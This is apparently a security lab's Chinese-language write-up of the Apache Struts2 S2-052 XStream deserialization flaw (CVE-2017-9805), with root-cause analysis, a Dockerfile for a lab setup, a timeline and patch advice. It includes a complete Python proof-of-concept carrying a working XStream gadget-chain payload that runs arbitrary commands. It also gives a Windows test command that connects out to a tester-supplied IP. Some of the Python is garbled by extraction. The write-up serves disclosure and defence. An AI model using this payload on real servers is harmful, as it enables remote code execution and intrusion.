大数跨境

S2-052漏洞分析

S2-052漏洞分析 昊天实验室
2017-09-07
0
导读:Struts2修复了一个影响等级为严重的远程代码执行漏洞,编号为 S2-052,公告中对该漏洞的简要描述:Struts2-REST插件使用带有 XStream实例的 XStreamHandler进行反

0x01. 事件概述

北京时间9月6日21时,Apache官方发布了一则公告称,Struts2修复了一个影响等级为严重的远程代码执行漏洞,编号为 S2-052,公告中对该漏洞的简要描述:

Struts2-REST插件使用带有 XStream实例的 XStreamHandler进行反序列化操作而不对数据进行任何类型检查,这将可能导致在对 XML数据进行序列处理时,执行远程代码。


漏洞影响版本:

  • Struts 2.1.2 - Struts 2.3.33,

  • Struts 2.5 - Struts 2.5.12



0x02. 漏洞分析


首先从github上的commit 记录找出补丁代码:

根据上面的代码截图来看,原来的 XStreamHandler 中出现了一些变化,由ContentTypeHandler  替换为 AbstractContentTypeHandler,同时增加了几个拒绝不安全的类执行的方法,在进行反序列化操作前进行检查。由于调用反序列化的接口是handler的toObject方法,因此对调用toObject的地方进行查找。

通过查阅资料, REST插件在处理不同类型请求时会通过ContentTypeInterceptor 进行操作,因此我们将目光放在ContentTypeInterceptor.Java 这个文件上。

intercept的功能主要为自动根据Content-Type 类型选择对应的handler进行反序列化操作,当ContentType为application/xml时,intercept会选择XStreamHandler 进行处理,但intercept和XStreamHandler类都没有对数据进行任何校验或无害化处理,直接进行了反序列化操作,从而导致了此次漏洞发生。



0x03. 漏洞复现


前期环境配置:

  • java8

  • Apache Tomcat 7.0

  • Struts-2.5.5~2.5.12 (rest_plugin)

  • 或者使用docker环境,在这里提供一份关于漏洞环境的dockerfile


FROM tomcat:8.0-jre8


WORKDIR /tmp


RUN rm -rf /usr/local/tomcat/webapps/ \

&& chmod a+x /usr/local/tomcat/bin/*.sh


COPY struts2-rest-showcase.war  /usr/local/tomcat/webapps/ROOT.war


EXPOSE 8080


CMD ["/usr/local/tomcat/bin/catalina.sh", "run"]


当环境搭建完成,访问浏览器页面 http:// 127.0.0.1:8080/orders,将会显示和图中类似的页面:


构造POST请求:

POST请求中有几个需要注意:

  • 需要将ContentType 设置为application/xml

  • 在构造payload时,命令中不允许存在空格,如若存在,则使用<string>标签包裹非空格的部分,如需要构造payload为 `touch /tmp/ht-sec-hunter`,则需要构造payload为`<string>touch</string><string>/tmp/ht-sec-hunter</string>`


由于环境是linux,所以我们设定 payload为`touch /tmp/ht-sec-hunter` ,发送请求后可以发现tmp目录下多出 ht-sec-hunter文件 ,复现成功。


如果环境为Windows,可以将 payload改为 `mstsc /v:YourIP:YourPort`来验证是否存在漏洞,这里不再进行演示。



0x04. 时间线


  • 2017 年 8 月 2日,官方人员在github上对XStream 及相关api 进行修补

  • 2017 年8月25日 S2-052 条目在 Security Bulletins 上建立

  • 2017年9月5日 Struts版本2.5.13发布

  • 2017年 9月5日 公布了 S2-052/CVE-2017-9805的漏洞细节Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)(https://lgtm.com/blog/apache_struts_CVE-2017-9805  )



0x05. 漏洞验证与修复


# coding=utf-8

import requests
import sys

class POC:
   def __init__(self):
       self.url''
       
self.pocInfo = {
           'author': ['ht-sec'],
           
'vulnDate''2017-09-06',
           
'createDate''2017-09-06',
           
'reference': ['https://cwiki.apache.org/confluence/display/WW/S2-052'],
           
'pocName''s2-052_rest_plugin_rce',
           
'appLink''http://struts.apache.org/',
           
'appName''struts2',
           
'appVersion''2.5.5-2.5.12',
           
'desc''''Struts2-REST插件使用带有 XStream实例的 XStreamHandler进行反序列化操作而不对数据进行任何类型检查,这将可能导致在对 XML数据进行序列处理时,执行远程代码''',
           
'samples': [''],
       }

    def verify(self,url = None,command = "touch /tmp/test"):
        
try:
            payload = 
"""<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"><command>{0}</command><redirectErrorStream>false</redirectErrorStream></next> </iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method> <class>java.lang.ProcessBuilder</class><name>start</name> <parameter-types/></method><name>foo</name></filter><next>foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer> <done>false</done><ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed></is><consumed>false</consumed></dataSource> <transferFlavors/></dataHandler><dataLen>0</dataLen></value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry> <entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>"""
           target = self.url if self.url else url
           command = 
self.commandAnalyz(command)
           payload = payload.format(command)
           
if target:
               header = {
                   
'Accept''text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   
'Accept-Language' 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                   
'Content-Type''application/xml'
               
}
               task = requests.post(target,
headers = header,data=payload)
               
if task.status_code == 500:
                   
return True
       except 
:
           
pass

   def 
commandAnalyz(self,strcommand):
       pcode = 
'<string>{0}</string>'
       
temp = ''
       
task = strcommand.split(' ')
       
for ele in task:
           temp += pcode.format(ele)
       
return temp

if __name__ == '__main__':
   url = sys.argv[
1]
   command = sys.argv[
2]
   test = POC()
   
print test.verify(url,command)

上述为漏洞验证poc,需要在目标机上校验信息


修补建议:

  • 升级至Upgrade to Struts 2.5.13 /2.3.34

  • 没有比较好的解决方法,最好的选择是在不使用时删除Struts REST插件



0x06. 相关资料


  • https://lgtm.com/blog/finding_unsafe_deserialization_with_ql

  • https://lgtm.com/blog/apache_struts_CVE-2017-9805

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805

  • https://cwiki.apache.org/confluence/pages/recentlyupdated.action?key=WW

  • https://cwiki.apache.org/confluence/display/WW/S2-052

  • https://github.com/apache/struts/commit/3bd072ca053aed787f3a16865266d8832fcd18b0


【声明】内容源于网络
0
0
昊天实验室
Cyberpunk@昊天实验室
内容 10
粉丝 0
昊天实验室 Cyberpunk@昊天实验室
总阅读12
粉丝0
内容10